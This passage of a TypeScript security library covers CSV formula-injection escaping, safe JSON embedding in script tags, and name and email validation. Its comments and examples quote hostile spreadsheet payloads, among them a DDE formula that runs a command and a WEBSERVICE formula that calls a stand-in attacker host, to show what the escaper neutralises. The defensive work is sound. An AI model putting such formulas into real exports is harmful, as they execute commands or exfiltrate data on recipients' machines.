encoded;\n}\n\n/**\n * A leading formula trigger, tolerating the whitespace and quotes a reader strips first.\n *\n * Mirrors `CSV-FORMULA-LEAD-001`, deliberately: the rule sees through leading quotes and\n * spaces because spreadsheet importers do, so an encoder that only looked at index 0\n * would leave ` =cmd|'/c calc'!A1` live.\n *\n * The leading run is unbounded because a reader that strips it strips all of it, so any\n * cap only moves the bypass one character past the cap. One anchored character class\n * under `*` backtracks linearly, so the unbounded run carries no ReDoS cost.\n *\n * The run is `'`, `\"` and whitespace: JavaScript's `\\s`, plus U+001C to U+001F and U+0085,\n * which `\\s` omits but other runtimes trim. Python's `strip()` removes all five, .NET's\n * `Trim()` removes U+0085 and Java's `trim()` removes U+001C to U+001F.\n *\n * The trigger class is the OWASP CSV Injection list: `=`, `+`, `-`, `@`, TAB, CR and LF,\n * plus the full-width `=` `+` `-` `@` (U+FF1D, U+FF0B, U+FF0D, U+FF20), which some\n * locales read as formulas too.\n *\n * `escapeCsvField` tests this pattern at the start of the value. After each boundary\n * inside the value it tests {@link CSV_FIELD_FORMULA_LEAD} instead, in one linear pass\n * (see {@link formulaLeadStarts}). Both tests also check the NFKC form of the head,\n * because the rule matches the scan's `nfkc` variant: NFKC folds the small `=` `+` `-` `@`\n * (U+FE66, U+FE62, U+FE63, U+FE6B) onto triggers and the full-width `\"` and `'` (U+FF02,\n * U+FF07) onto the leading run. The rule's percent- and HTML-decoded variants have no\n * counterpart here, since no spreadsheet decodes a cell that way.\n */\n// biome-ignore lint/suspicious/noControlCharactersInRegex: U+001C to U+001F are whitespace to the readers that trim them\nconst CSV_FORMULA_LEAD = /^[\\s\\x1c-\\x1f\\x85'\"]*[=+\\-@\\t\\r\\n\\uff1d\\uff0b\\uff0d\\uff20]/;\n\n/**\n * {@link CSV_FORMULA_LEAD} with TAB, CR and LF in the leading run only, not the triggers:\n * the pattern `escapeCsvField` tests after a boundary inside a value. A run of them before\n * `=` `+` `-` `@` or a full-width form is still seen through, but on their own they lead\n * no formula there, so plain multi-line or tab-separated text keeps its value. At the start\n * of the value they stay triggers, as OWASP lists them.\n */\n// biome-ignore lint/suspicious/noControlCharactersInRegex: U+001C to U+001F are whitespace to the readers that trim them\nconst CSV_FIELD_FORMULA_LEAD = /^[\\s\\x1c-\\x1f\\x85'\"]*[=+\\-@\\uff1d\\uff0b\\uff0d\\uff20]/;\n\n/**\n * The raw leading run of {@link CSV_FORMULA_LEAD}, plus U+FF02 and U+FF07, the only\n * characters outside that run whose NFKC form falls inside it.\n */\n// biome-ignore lint/suspicious/noControlCharactersInRegex: U+001C to U+001F are whitespace to the readers that trim them\nconst CSV_NFKC_LEADING_RUN = /^[\\s\\x1c-\\x1f\\x85'\"\\uff02\\uff07]*/;\n\n/**\n * Characters normalized after the leading run: enough for the character that follows\n * the run to decompose, and for most of its combining marks.\n */\nconst CSV_NFKC_TAIL = 16;\n\n/**\n * Characters after which a reader may start a field inside a value: the separators readers\n * commonly split on; CR and LF, which end a record; the other line separators of Python's\n * `str.splitlines()` (VT, FF, U+001C to U+001E, U+0085, U+2028 and U+2029), where a reader\n * that splits the file into lines with it ends a record too; and U+037E, which NFC and\n * NFKC fold onto `;`. `escapeCsvField` adds each character of the configured delimiter.\n * All are rare in text apart from the first five, and an apostrophe goes in only where a\n * formula follows.\n */\nconst CSV_BOUNDARIES = \",;\\t\\r\\n\\v\\f\\x1c\\x1d\\x1e\\x85\\u2028\\u2029\\u037e\";\n\n/** A code unit in the leading run or the trigger class of {@link CSV_FIELD_FORMULA_LEAD}. */\nconst CSV_UNIT_RUN_OR_TRIGGER = 1;\n\n/** A code unit in the trigger class of {@link CSV_FIELD_FORMULA_LEAD}. */\nconst CSV_UNIT_TRIGGER = 2;\n\n/** A code unit in {@link CSV_NFKC_LEADING_RUN}. */\nconst CSV_UNIT_NFKC_RUN = 4;\n\n/** Set on every computed entry of the class table, so a zero entry means \"not computed\". */\nconst CSV_UNIT_KNOWN = 8;\n\n/** The classes of each UTF-16 code unit, filled in on first use. */\nlet csvUnitClasses: Uint8Array | undefined;\n\n/**\n * The classes of one UTF-16 code unit, read off the patterns themselves so the scan cannot\n * drift from them. Neither pattern has the `u` flag, so both match code units.\n */\nfunction csvUnitClass(unit: number): number {\n\tcsvUnitClasses ??= new Uint8Array(0x10000);\n\tconst known = csvUnitClasses[unit];\n\tif (known !== 0) return known;\n\n\tconst character = String.fromCharCode(unit);\n\tconst computed =\n\t\tCSV_UNIT_KNOWN |\n\t\t(CSV_FIELD_FORMULA_LEAD.test(`${character}=`) ? CSV_UNIT_RUN_OR_TRIGGER : 0) |\n\t\t(CSV_FIELD_FORMULA_LEAD.test(character) ? CSV_UNIT_TRIGGER : 0) |\n\t\t(CSV_NFKC_LEADING_RUN.exec(character)?.[0] === character ? CSV_UNIT_NFKC_RUN : 0);\n\tcsvUnitClasses[unit] = computed;\n\treturn computed;\n}\n\n/** Matches any of {@link CSV_BOUNDARIES}. */\nconst CSV_BOUNDARY = new RegExp(`[${CSV_BOUNDARIES}]`);\n\n/** The code points of {@link CSV_BOUNDARIES}. */\nconst CSV_BOUNDARY_CODE_POINTS: readonly number[] = [...CSV_BOUNDARIES].map(\n\t(character) => character.codePointAt(0) ?? -1,\n);\n\n/**\n * The index after each boundary in `value`, ascending: every index after the start at\n * which a reader that splits on a boundary may start a field. A delimiter character\n * outside the BMP is a surrogate pair in the value, so the value is read one code point at\n * a time.\n */\nfunction csvFieldStarts(value: string, delimiter: string): number[] {\n\tconst starts: number[] = [];\n\tconst delimiterCharacters = [...delimiter];\n\tconst hasBoundary =\n\t\tCSV_BOUNDARY.test(value) || delimiterCharacters.some((character) => value.includes(character));\n\tif (!hasBoundary) return starts;\n\n\tconst codePoints = new Set([\n\t\t...CSV_BOUNDARY_CODE_POINTS,\n\t\t...delimiterCharacters.map((character) => character.codePointAt(0) ?? -1),\n\t]);\n\tfor (let index = 0; index < value.length; ) {\n\t\tconst codePoint = value.codePointAt(index) ?? -1;\n\t\tindex += codePoint > 0xffff ? 2 : 1;\n\t\tif (codePoints.has(codePoint)) starts.push(index);\n\t}\n\treturn starts;\n}\n\n/**\n * Whether a formula leads at the start of the value: {@link CSV_FORMULA_LEAD}, with TAB,\n * CR and LF as triggers, matches the value or the NFKC form of its head, the\n * {@link CSV_NFKC_LEADING_RUN} and the {@link CSV_NFKC_TAIL} characters after it.\n */\nfunction formulaLeadsAtStart(value: string): boolean {\n\tif (CSV_FORMULA_LEAD.test(value)) return true;\n\tconst run = CSV_NFKC_LEADING_RUN.exec(value)?.[0].length ?? 0;\n\treturn CSV_FORMULA_LEAD.test(value.slice(0, run + CSV_NFKC_TAIL).normalize(\"NFKC\"));\n}\n\n/**\n * The first index in `[from, to)` whose character ends both leading runs, so that whether\n * a formula leads there does not depend on anything after it: a character outside the\n * NFKC run that is a trigger or is outside the raw run. `to` when there is none.\n */\nfunction settledIndex(value: string, from: number, to: number): number {\n\tfor (let index = from; index < to; index++) {\n\t\tconst unitClass = csvUnitClass(value.charCodeAt(index));\n\t\tconst isTrigger = (unitClass & CSV_UNIT_TRIGGER) !== 0;\n\t\tconst inRawRunOnly = !isTrigger && (unitClass & CSV_UNIT_RUN_OR_TRIGGER) !== 0;\n\t\tif ((unitClass & CSV_UNIT_NFKC_RUN) === 0 && !inRawRunOnly) return index;\n\t}\n\treturn to;\n}\n\n/**\n * Whether the NFKC form of the {@link CSV_NFKC_TAIL} characters from `start` opens with a\n * formula lead after a boundary. A cut can part a character from a later combining mark,\n * which can only leave a trigger that composition would have absorbed, so the check errs\n * towards the prefix. The result outgrows the slice by at most 18 units per character,\n * whatever the value's length.\n */\nfunction nfkcTailLeads(value: string, start: number): boolean {\n\treturn CSV_FIELD_FORMULA_LEAD.test(value.slice(start, start + CSV_NFKC_TAIL).normalize(\"NFKC\"));\n}\n\n/**\n * The field starts after a boundary at which a formula leads, where `escapeCsvField`\n * inserts an apostrophe.\n *\n * A formula leads at an index when {@link CSV_FIELD_FORMULA_LEAD} matches the value from\n * there, or matches the NFKC form of its head: the {@link CSV_NFKC_LEADING_RUN} from there\n * and the {@link CSV_NFKC_TAIL} characters after it. Running the pattern at each field\n * start would rescan a leading run once for every boundary inside it, which is quadratic:\n * a million LFs are a million boundaries in one run. Instead the field starts are taken\n * from last to first, and each folds the characters between it and the next field start\n * into the answer from right to left, starting afresh at the first character that ends\n * both runs. Each character is read at most twice, so the work is linear in the value's\n * length.\n *\n * - The raw pattern leads at an index when its character is a trigger, or is in the\n * leading run and the pattern leads at the next index.\n * - Each character of the NFKC run normalizes, on its own, to one character of the raw\n * leading run, and composes with no neighbour. Both hold for every code point. So the\n * head's NFKC form is the run mapped one character at a time, then the NFKC form of the\n * tail. No character of the run is a trigger of this pattern, since TAB, CR and LF are\n * run characters here, so the head leads exactly when the tail's NFKC form does. Each\n * tail is normalized once, whatever the number of field starts in its run.\n *\n * @param value - The text, without NUL.\n * @param fieldStarts - Ascending, from {@link csvFieldStarts}.\n * @returns The field starts at which a formula leads, ascending.\n */\nfunction formulaLeadStarts(value: string, fieldStarts: readonly number[]): number[] {\n\tconst leads: number[] = [];\n\t// The answer at index `known`: whether the raw pattern leads there, and where the NFKC\n\t// run from there ends.\n\tlet known = value.length;\n\tlet rawLeads = false;\n\tlet runEnd = value.length;\n\tlet tailStart = -1;\n\tlet tailLeads = false;\n\n\tfor (let position = fieldStarts.length - 1; position >= 0; position--) {\n\t\tconst start = fieldStarts[position] ?? 0;\n\t\tconst settled = settledIndex(value, start, known);\n\t\tif (settled < known) {\n\t\t\tknown = settled;\n\t\t\trawLeads = (csvUnitClass(value.charCodeAt(settled)) & CSV_UNIT_TRIGGER) !== 0;\n\t\t\trunEnd = settled;\n\t\t}\n\t\tfor (let index = known - 1; index >= start; index--) {\n\t\t\tconst unitClass = csvUnitClass(value.charCodeAt(index));\n\t\t\tconst isTrigger = (unitClass & CSV_UNIT_TRIGGER) !== 0;\n\t\t\trawLeads = isTrigger || ((unitClass & CSV_UNIT_RUN_OR_TRIGGER) !== 0 && rawLeads);\n\t\t\tif ((unitClass & CSV_UNIT_NFKC_RUN) === 0) runEnd = index;\n\t\t}\n\t\tknown = start;\n\n\t\tif (!rawLeads && tailStart !== runEnd) {\n\t\t\ttailStart = runEnd;\n\t\t\ttailLeads = nfkcTailLeads(value, runEnd);\n\t\t}\n\t\tif (rawLeads || tailLeads) leads.push(start);\n\t}\n\treturn leads.reverse();\n}\n\n/** `value` with an apostrophe inserted before each of the ascending `indexes`. */\nfunction insertApostrophes(value: string, indexes: readonly number[]): string {\n\tif (indexes.length === 0) return value;\n\tconst parts: string[] = [];\n\tlet from = 0;\n\tfor (const index of indexes) {\n\t\tparts.push(value.slice(from, index), \"'\");\n\t\tfrom = index;\n\t}\n\tparts.push(value.slice(from));\n\treturn parts.join(\"\");\n}\n\n/**\n * Fields containing any of these are quoted.\n *\n * `\"`, CR and LF because RFC 4180 sections 2.6 and 2.7 require it. Comma, semicolon and\n * TAB whatever the configured delimiter, because the reader may split on a different\n * separator than the writer used (Excel follows the locale's list separator). Quoting is\n * always valid under RFC 4180 and changes no value.\n *\n * Quoting protects only a reader that is in step with the writer, since a quote opens a\n * field only at the start of a field as the reader sees it. A reader that splits on\n * another separator takes the quote literally in later columns, and a reader that ignores\n * quotes does so everywhere. For those readers, a cell that starts inside a value is\n * neutralised by the apostrophe `escapeCsvField` inserts after each boundary, not by the\n * quotes. A reader that splits on any other character, such as `|` or a space, gets no\n * apostrophe there, and quoting protects it at most in the first column. Read the file\n * with the delimiter it was written with.\n */\nconst CSV_QUOTE_REQUIRED = /[\",;\\t\\r\\n]/;\n\n/**\n * Escape one cell for CSV export.\n *\n * This is the control named by the formula-injection rules. A CSV file is not inert: a\n * cell beginning `=`, `+`, `-`, `@`, tab or CR is evaluated as a formula by Excel,\n * Sheets and LibreOffice when the recipient opens it, so the payload executes on *their*\n * machine, outside the exporting application entirely (CWE-1236). LF and the full-width\n * `=` `+` `-` `@` are treated as triggers too, following the OWASP CSV Injection list,\n * and so is any character whose NFKC form is a trigger or part of the leading run.\n *\n * Two separate jobs, in order: neutralise formula triggers with apostrophes, then apply\n * RFC 4180 quoting so the field cannot break the row for a reader that splits on the same\n * delimiter.\n *\n * A trigger is neutralised wherever a reader may start a field in text: at the start of\n * the value, and right after each boundary inside it. The boundaries are comma,\n * semicolon, TAB, CR and LF; the other line separators of Python's `str.splitlines()`\n * (VT, FF, U+001C to U+001E, U+0085, U+2028 and U+2029); U+037E, which NFC folds onto\n * `;`; and each character of the delimiter. The apostrophe goes in front of the leading\n * run there, as it does at the start. A reader that splits on any boundary, or that\n * ignores quotes, therefore finds every field that starts inside the value neutralised,\n * in every column, even after an earlier cell has thrown it out of step. A field that\n * starts at a boundary at the very end of the value runs on into the file's closing quote,\n * delimiter or line break and then the next cell, which is neutralised in its own right.\n * The work is linear in the value's length.\n *\n * At the start of the value, TAB, CR and LF are triggers, as OWASP lists them. After a\n * boundary they are leading-run characters only: a run of them in front of `=` `+` `-`\n * `@` or a full-width or small form is seen through and neutralised, but on their own\n * they lead no formula there. So `\"x,\\t=1\"` becomes `\"x,'\\t'=1\"`, while plain multi-line\n * or tab-separated text such as `\"line1\\r\\nline2\"` keeps its value.\n *\n * **Numbers, booleans and bigints are never prefixed.** They came from the application's\n * own types and cannot carry a formula, so `-1234` exports as a negative number while\n * `\"-1234\"` exports as text. Pass numeric columns as numbers, or every negative value in\n * the sheet becomes a string. Every other value is treated as text, including an array or\n * object, whose string form repeats contents the caller may not control.\n *\n * Worth knowing before relying on it:\n * - **Values can change after a boundary, by design.** A reader that uses the delimiter\n * the file was written with shows an apostrophe inserted after a boundary as part of the\n * value: `\"a\\n=b\"` reads back as `\"a\\n'=b\"`. Only a formula lead gets one, so text such\n * as `\"line1\\r\\nline2\"`, `\"a\\n\\nb\"` or `\"x,\\ty\"` reads back unchanged. Without it, a\n * reader that splits on that boundary would start a cell there whose leading characters\n * were never checked.\n * - The apostrophe is an Excel convention, **not** an RFC 4180 construct. Readers that do\n * not implement it surface it as a literal character in the data.\n * - **A reader that splits on any other character is not protected.** That includes `|`,\n * a space, and a character that only NFKC folds onto a boundary, such as the full-width\n * comma U+FF0C. A value holding one of them followed by a trigger gets no apostrophe\n * there, and is quoted only if it holds a character that requires quoting. Quoting\n * protects that reader at most in the first column; in any later column, or wherever the\n * value is not quoted, it starts a live cell there. Read the file with the delimiter it\n * was written with.\n * - A field containing a comma, semicolon or TAB is quoted whatever the delimiter, and so\n * is a field containing any character of a multi-character delimiter. Quoting changes no\n * value, and protects only a reader in step with the writer.\n * - **The delimiter must play no other part in the file.** It is written between cells,\n * where no apostrophe can go, and `escapeCsvField` accepts any delimiter. One containing\n * `=`, `+`, `-`, `@` or a character whose NFKC form is one of them, such as their\n * full-width or small forms, puts a trigger at the start of a field for a reader that\n * splits on anything else: `toCsvRow([\"\", \"1+1\"], { delimiter: \"=\" })` is `=1+1`. One\n * containing `'` lets a reader that splits on it cut the apostrophe off a neutralised\n * cell. One containing `\"`, CR or LF leaves the apostrophes working but breaks RFC 4180\n * framing: a `\"` there opens a quoted field where the writer meant a delimiter, and CR\n * or LF ends the record for every RFC 4180 reader. No reader can then count on staying\n * in step with the writer, which is all that quoting protects.\n * - NUL is removed rather than escaped, so it does not round-trip.\n * - Scanning the output with `scanForThreats` still reports a finding, by design:\n * `CSV-FORMULA-LEAD-001` sees through the apostrophe and `CSV-DDE-001` is\n * position-independent. The rules describe the *value*; this function protects the\n * *file*. A clean scan is the wrong acceptance test.\n *\n * @param value - Cell value. `null` and `undefined` become `\"\"`.\n * @param options - Optional dialect settings.\n * @param options.delimiter - Field separator the row will be joined with. Defaults to `\",\"`.\n * @returns The escaped field, ready to join into a row.\n *\n * @example\n * ```ts\n * escapeCsvField(\"=WEBSERVICE(\\\"https://evil.example\\\")\");\n * // quoted, and inert on open\n * escapeCsvField(\"a\\n=1+1\"); // \"\\\"a\\n'=1+1\\\"\" — inert after the line break too\n * escapeCsvField(\"a\\r\\nb\"); // \"\\\"a\\r\\nb\\\"\" — quoted, value unchanged\n * escapeCsvField(-1234); // \"-1234\" — a number, not a formula\n * ```\n */\nexport function escapeCsvField(\n\tvalue: unknown,\n\toptions: { readonly delimiter?: string } = {},\n): string {\n\tif (value === null || value === undefined) return \"\";\n\n\tconst delimiter = options.delimiter ?? \",\";\n\tconst isTrustedScalar =\n\t\ttypeof value === \"number\" || typeof value === \"boolean\" || typeof value === \"bigint\";\n\tconst isUntrustedText = !isTrustedScalar;\n\tconst text = typeof value === \"string\" ? value : String(value);\n\n\t// NUL cannot be represented in a CSV field and breaks several readers outright.\n\t// biome-ignore lint/suspicious/noControlCharactersInRegex: NUL is a control character by definition\n\tconst cleaned = text.replace(/\\u0000/g, \"\");\n\n\t// The NFKC form is only tested, never written: the rule matches the scan's `nfkc`\n\t// variant, and the file keeps the value as the caller wrote it apart from the\n\t// apostrophes. Only heads are normalized. NFKC can expand one character to 18\n\t// (U+FDFA), so normalizing a large value could throw a RangeError and abort the\n\t// export, and a match depends only on the leading run and the character after it.\n\tconst neutralised = isUntrustedText\n\t\t? insertApostrophes(cleaned, [\n\t\t\t\t...(formulaLeadsAtStart(cleaned) ? [0] : []),\n\t\t\t\t...formulaLeadStarts(cleaned, csvFieldStarts(cleaned, delimiter)),\n\t\t\t])\n\t\t: cleaned;\n\n\t// Any one character of a multi-character delimiter can split the row for a reader that\n\t// splits on that character alone.\n\tconst containsDelimiter = [...delimiter].some((character) => neutralised.includes(character));\n\tconst mustQuote = CSV_QUOTE_REQUIRED.test(neutralised) || containsDelimiter;\n\treturn mustQuote ? `\"${neutralised.replaceAll('\"', '\"\"')}\"` : neutralised;\n}\n\n/**\n * Escape and join one row for CSV export.\n *\n * @param values - Cell values, in column order.\n * @param options - Optional dialect settings.\n * @param options.delimiter - Field separator. Defaults to `\",\"`.\n * @returns The joined row, without a line terminator.\n *\n * @example\n * ```ts\n * toCsvRow([\"Ada Lovelace\", \"=1+1\", 42]);\n * ```\n */\nexport function toCsvRow(\n\tvalues: readonly unknown[],\n\toptions: { readonly delimiter?: string } = {},\n): string {\n\tif (!Array.isArray(values)) return \"\";\n\tconst delimiter = options.delimiter ?? \",\";\n\treturn values.map((value) => escapeCsvField(value, { delimiter })).join(delimiter);\n}\n\n/**\n * The five characters that must not survive into a script element verbatim.\n *\n * None is a JSON structural character, so each can only ever occur inside a string\n * literal, where a unicode escape is legal and semantically identical. That is what makes\n * this transformation safe to apply to `JSON.stringify` output without reparsing it.\n *\n * `<` and `>` close the element; `&` matters when a caller relocates the payload into a\n * context that *is* entity-decoded; U+2028 and U+2029 terminate a line in JavaScript\n * source, which JSON permits raw inside strings.\n */\nconst SCRIPT_UNSAFE_JSON = /[<>&\\u2028\\u2029]/g;\n\n/** Escapes for {@link SCRIPT_UNSAFE_JSON}, all valid inside a JSON string literal. */\nconst SCRIPT_JSON_ESCAPES: Readonly<Record<string, string>> = {\n\t\"<\": \"\\\\u003c\",\n\t\">\": \"\\\\u003e\",\n\t\"&\": \"\\\\u0026\",\n\t\"\\u2028\": \"\\\\u2028\",\n\t\"\\u2029\": \"\\\\u2029\",\n};\n\n/**\n * Serialise a value for embedding inside a `<script>` element.\n *\n * `JSON.stringify` alone is not safe here. Its output may contain `</script>`, which\n * closes the element from *inside a string literal* — the HTML tokenizer never looks at\n * JavaScript syntax — so the remainder of the payload becomes markup.\n *\n * **Script element content only.** The output contains unescaped `\"`, so it must never be\n * placed in an attribute; use {@link escapeHtmlAttribute} there. It is also not a general\n * JavaScript-string escaper — it is safe precisely because `JSON.stringify` has already\n * decided where the string boundaries are.\n *\n * Using `<script type=\"application/json\">` with `JSON.parse(el.textContent)` does **not**\n * remove the need for this: a raw `</script>` in the data closes that element too.\n *\n * @param value - Any JSON-serialisable value.\n * @returns JSON text safe to place between `<script>` tags.\n * @throws {TypeError} If `value` cannot be represented as JSON — `undefined`, a function\n * or a symbol at the top level (for which `JSON.stringify` returns `undefined` rather\n * than a string), a circular structure, or a `BigInt`. Failing loudly is deliberate: a\n * sentinel string would emit a syntax error into the page instead.\n *\n * @example\n * ```ts\n * const json = encodeJsonForScript({ name: userName });\n * const html = \"<script>window.__DATA__ = \" + json + \";</script>\";\n * ```\n */\nexport function encodeJsonForScript(value: unknown): string {\n\tlet serialised: string | undefined;\n\ttry {\n\t\tserialised = JSON.stringify(value);\n\t} catch (cause) {\n\t\tthrow new TypeError(\"encodeJsonForScript: value is not JSON-serialisable\", { cause });\n\t}\n\n\t// `JSON.stringify` returns undefined — not a string — for undefined, functions and\n\t// symbols at the top level, so the escape pass below would throw on a non-string.\n\tif (typeof serialised !== \"string\") {\n\t\tthrow new TypeError(\n\t\t\t`encodeJsonForScript: ${typeof value} has no JSON representation at the top level`,\n\t\t);\n\t}\n\n\treturn serialised.replace(\n\t\tSCRIPT_UNSAFE_JSON,\n\t\t(character) => SCRIPT_JSON_ESCAPES[character] ?? character,\n\t);\n}\n\n//#region Unicode helpers\n\n/**\n * Fold non-ASCII lookalike characters onto ASCII and compose to NFC.\n *\n * @deprecated Prefer `getSkeleton` and `analyzeIdentifier` from\n * `@resq-systems/security/unicode`. Rewriting a user's identifier into a different\n * string loses information and only *looks* safe — the durable pattern is to store\n * what they typed, index its skeleton, and compare skeletons for collisions.\n *\n * Now backed by the UTS #39 confusable tables rather than the previous 14-entry map,\n * so coverage is far wider. Combining marks are preserved (`e` + U+0301 still composes\n * to `é`) and ASCII characters are never rewritten.\n *\n * @param input - Raw string from an untrusted source. Non-string input yields `\"\"`.\n * @returns NFC-composed string with non-ASCII confusables folded to ASCII.\n */\nexport function normalizeUnicode(input: string): string {\n\treturn foldConfusables(input);\n}\n\n//#endregion\n\n//#region Field validators\n\n/**\n * Generic user-facing fallback message. Render verbatim when a detector fires and you\n * do not want to reveal which one.\n */\nexport const THREAT_DETECTED_MESSAGE = \"Input contains potentially unsafe content\";\n\n/**\n * Refinement helper for `zod.string().refine(...)`, `effect/Schema.filter(...)`, or\n * any predicate-based validator. Equivalent to {@link isSafeInput} with defaults.\n *\n * @param input - String to test.\n * @returns `true` when no detector fires.\n */\nexport function validateSafeText(input: string): boolean {\n\treturn isSafeInput(input);\n}\n\n/**\n * Letters, marks, apostrophes, hyphens, periods, spaces, and the two joiners — nothing\n * else.\n *\n * U+200C (ZWNJ) and U+200D (ZWJ) are part of the spelling, not decoration. Persian and\n * Hindi names need them to be written correctly — a ZWNJ is what keeps the two halves\n * of `میروم` from joining — so a pattern without them rejects the name its owner\n * actually has. They carry no injection risk here: everything a payload needs (`<`,\n * `(`, `;`, `$`, `=`, digits) stays excluded. Written as escapes, not literals — an\n * invisible character pasted into a character class is unreviewable in a diff.\n */\nconst PERSON_NAME_PATTERN = /^[\\p{L}\\p{M}'’.\\-\\s\\u{200C}\\u{200D}]+$/u;\n\n/** Shortest accepted name. Mononyms and single-letter names exist. */\nconst MIN_NAME_LENGTH = 1;\n\n/** Longest accepted name. */\nconst MAX_NAME_LENGTH = 200;\n\n/**\n * Validate a human name field.\n *\n * The policy is an allowlist of what a name is made of — letters in any script,\n * combining marks, apostrophes, hyphens, periods, spaces — plus a length bound and a\n * bidirectional-control check. Nothing that passes it can carry an injection payload,\n * because `<`, `(`, `;`, `$`, `=`, and every digit are already excluded.\n *\n * It deliberately does **not** run SQL, path-traversal, or confusable detectors. A\n * name is not a query, a path, or a protected identifier, and subjecting one to those\n * checks rejects real people: the previous implementation ran the homoglyph detector\n * here, which failed any name containing а, е, о, р, с, or х — that is, most Russian,\n * Ukrainian, Bulgarian, Serbian, and Greek names.\n *\n * Encode the value at whatever sink it eventually reaches. That is what makes it safe;\n * this function only establishes that it is a name.\n *\n * @param input - Candidate name.\n * @returns `true` when the value is a plausible name.\n *\n * @example\n * ```ts\n * validatePersonName(\"O'Brien\"); // true\n * validatePersonName(\"José García\"); // true\n * validatePersonName(\"Ольга Иванова\"); // true\n * validatePersonName(\"John123\"); // false\n * validatePersonName(\"<script>x</script>\"); // false\n * ```\n */\nexport function validatePersonName(input: string): boolean {\n\tif (typeof input !== \"string\") return false;\n\n\tconst normalized = input.normalize(\"NFC\");\n\tif (normalized.length < MIN_NAME_LENGTH || normalized.length > MAX_NAME_LENGTH) {\n\t\treturn false;\n\t}\n\n\t// Hostile in any field: reorders rendered text away from its logical order.\n\tif (containsBidiControls(normalized)) return false;\n\n\treturn PERSON_NAME_PATTERN.test(normalized);\n}\n\n/**\n * Validate a human name field.\n *\n * @deprecated Renamed to {@link validatePersonName}. The old name implied a general\n * \"safe name\" check and was implemented as one, running injection and homoglyph\n * detectors against people's names. Behaviour now matches\n * {@link validatePersonName}.\n *\n * @param input - Candidate name.\n * @returns `true` when the value is a plausible name.\n */\nexport function validateSafeName(input: string): boolean {\n\treturn validatePersonName(input);\n}\n\n/** Longest address accepted, per RFC 5321 §4.5.3.1.3. Also bounds regex cost. */\nconst MAX_EMAIL_LENGTH = 254;\n\n/** RFC-shaped address check. Length is bounded before this runs. */\nconst EMAIL_PATTERN =\n\t/^[a-zA-Z0-9.!#$%&'*+/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/;\n\n/**\n * Validate an email address.\n *\n * Two checks: an RFC-shaped format match (length-bounded first, so the pattern never\n * sees an unbounded string), and UTS #39 identifier analysis of the **domain**, where\n * a mixed-script host is the IDN homograph attack — `аpple.com` with a Cyrillic `а`\n * resolves somewhere else entirely.\n *\n * The local part is not confusable-checked: it is not a routable identifier, and\n * flagging it would reject legitimate internationalized mailboxes.\n *\n * @param input - Candidate address.\n * @returns `true` when the format is valid and the domain is not a script mix.\n */\nexport function validateSafeEmail(input: string): boolean {\n\tif (typeof input !== \"string\") return false;\n\tif (input.length > MAX_EMAIL_LENGTH) return false;\n\tif (!EMAIL_PATTERN.test(input)) return false;\n\n\tconst domain = input.slice(input.lastIndexOf(\"@\") + 1);\n\tconst analysis = analyzeIdentifier(domain);\n\n\treturn !analysis.isMixedScript && !analysis.hasBidiControls;\n}\n\n//#endregion\n\n//#region Error messages\n\n/**\n * Render a user-facing error message for a detection result.\n *\n * Uses only the **first** finding: enumerating every category that fired leaks the\n * shape of the rule set to whoever is probing it. Log `result.threats` server-side for\n * diagnostics and return this to the client.\n *\n * @param result - A {@link ThreatDetectionResult}, a `ThreatScanResult`-shaped object,\n * or any `{ isSafe, threats }` pair.\n * @returns A message, or `\"\"` when the result is safe — so `message || undefined`\n * works at a call site.\n */\nexport function getThreatErrorMessage(result: {\n\treadonly isSafe: boolean;\n\treadonly threats: readonly ThreatSummary[];\n}): string {\n\tif (result.isSafe) return \"\";\n\n\tconst threat = result.threats[0];\n\tif (!threat) return THREAT_DETECTED_MESSAGE;\n\n\tswitch (threat.type) {\n\t\tcase \"xss\":\n\t\t\treturn \"Input contains potentially malicious script content\";\n\t\tcase \"sql_injection\":\n\t\t\treturn \"Input contains potentially malicious database commands\";\n\t\tcase \"nosql_injection\":\n\t\t\treturn \"Input contains potentially malicious query operators\";\n\t\tcase \"command_injection\":\n\t\t\treturn \"Input contains potentially malicious system commands\";\n\t\tcase \"path_traversal\":\n\t\t\treturn \"Input contains potentially malicious file path characters\";\n\t\tcase \"prototype_pollution\":\n\t\t\treturn \"Input contains potentially malicious object property names\";\n\t\tcase \"homoglyph\":\n\t\t\treturn \"Input contains suspicious lookalike characters\";\n\t\tcase \"header_injection\":\n\t\t\treturn \"Input contains line breaks that are not allowed in this field\";\n\t\tcase \"ldap_injection\":\n\t\t\treturn \"Input contains potentially malicious directory query characters\";\n\t\tcase \"xpath_injection\":\n\t\t\treturn \"Input contains potentially malicious query expressions\";\n\t\tcase \"xml_injection\":\n\t\t\treturn \"Input contains potentially malicious document declarations\";\n\t\tcase \"template_injection\":\n\t\t\treturn \"Input contains potentially malicious template expressions\";\n\t\tcase \"file_inclusion\":\n\t\t\treturn \"Input contains potentially malicious resource references\";\n\t\tcase \"ssrf\":\n\t\t\treturn \"Input contains a network address that is not allowed\";\n\t\tcase \"formula_injection\":\n\t\t\treturn \"Input contains spreadsheet formula characters\";\n\t\tcase \"log_injection\":\n\t\t\treturn \"Input contains characters that are not allowed in this field\";\n\t\tcase \"prompt_injection\":\n\t\t\treturn \"Input contains instructions that are not allowed in this field\";\n\t\tcase \"parameter_pollution\":\n\t\t\treturn \"Input contains additional query parameters that are not allowed\";\n\t\tcase \"credential_exposure\":\n\t\t\t// Deliberately not phrased as an accusation. This category detects the\n\t\t\t// application's own secret on its way *out* — into a URL it is about to\n\t\t\t// fetch, or a line it is about to log — so the submitter is usually not at\n\t\t\t// fault and a \"your input is malicious\" message would be wrong.\n\t\t\treturn \"Request contains credential material that must not be sent or stored here\";\n\t\tcase \"jwt_tampering\":\n\t\t\treturn \"Token is not signed with an accepted algorithm\";\n\t\tcase \"double_encoding\":\n\t\t\treturn \"Input contains characters that are encoded more than once\";\n\t\tcase \"resource_abuse\":\n\t\t\treturn \"Input is too large or too repetitive to process\";\n\t\tdefault:\n\t\t\treturn 